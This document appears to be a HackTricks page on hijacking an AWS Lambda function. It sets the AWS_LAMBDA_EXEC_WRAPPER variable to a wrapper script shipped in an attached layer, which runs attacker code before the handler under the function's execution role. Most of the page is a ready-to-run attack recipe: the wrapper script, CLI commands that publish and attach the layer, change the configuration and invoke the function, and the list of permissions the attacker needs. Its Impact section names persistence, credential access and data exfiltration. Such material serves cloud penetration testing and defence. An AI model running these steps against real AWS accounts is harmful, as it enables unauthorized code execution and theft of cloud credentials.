# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)

{{#include ../../../../banners/hacktricks-training.md}}

## Summary

Abuse the environment variable `AWS_LAMBDA_EXEC_WRAPPER` to execute an attacker-controlled wrapper script before the runtime/handler starts. Deliver the wrapper via a Lambda Layer at `/opt/bin/htwrap`, set `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, and then invoke the function. The wrapper runs inside the function runtime process, inherits the function execution role, and finally `exec`s the real runtime so the original handler still executes normally.

> [!WARNING]
> This technique grants code execution in the target Lambda without modifying its source code or role and without needing `iam:PassRole`. You only need the ability to update the function configuration and publish/attach a layer.

## Required Permissions (attacker)

- `lambda:UpdateFunctionConfiguration`
- `lambda:GetFunctionConfiguration`
- `lambda:InvokeFunction` (or trigger via existing event)
- `lambda:ListFunctions`, `lambda:ListLayers`
- `lambda:PublishLayerVersion` (same account) and optionally `lambda:AddLayerVersionPermission` if using a cross-account/public layer

## Wrapper Script

Place the wrapper at `/opt/bin/htwrap` in the layer. It can run pre-handler logic and must end with `exec "$@"` to chain to the real runtime.

```bash
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
    ident = boto3.client('sts').get_caller_identity()
    print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
    print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"
```

## Attack Steps (CLI)

<details>
<summary>Publish layer, attach to target function, set wrapper, invoke</summary>

```bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>

# 1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin
cat > layer/bin/htwrap <<'WRAP'
#!/bin/bash
set -euo pipefail
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
PY
exec "$@"
WRAP
chmod +x layer/bin/htwrap
(zip -qr htwrap-layer.zip layer)

# 2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version \
  --layer-name ht-exec-wrapper \
  --zip-file fileb://htwrap-layer.zip \
  --compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
  --query LayerVersionArn --output text --region "$REGION")

echo "$LAYER_ARN"

# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration \
  --function-name "$TARGET_FN" \
  --layers "$LAYER_ARN" \
  --environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
  --region "$REGION"

# Wait for update to finish
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done

# 4) Invoke and verify via CloudWatch Logs
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
```

</details>

## Impact

- Pre-handler code execution in the Lambda runtime context using the function's existing execution role.
- No changes to the function code or role required; works across common managed runtimes (Python, Node.js, Java, .NET).
- Enables persistence, credential access (e.g., STS), data exfiltration, and runtime tampering before the handler runs.

{{#include ../../../../banners/hacktricks-training.md}}
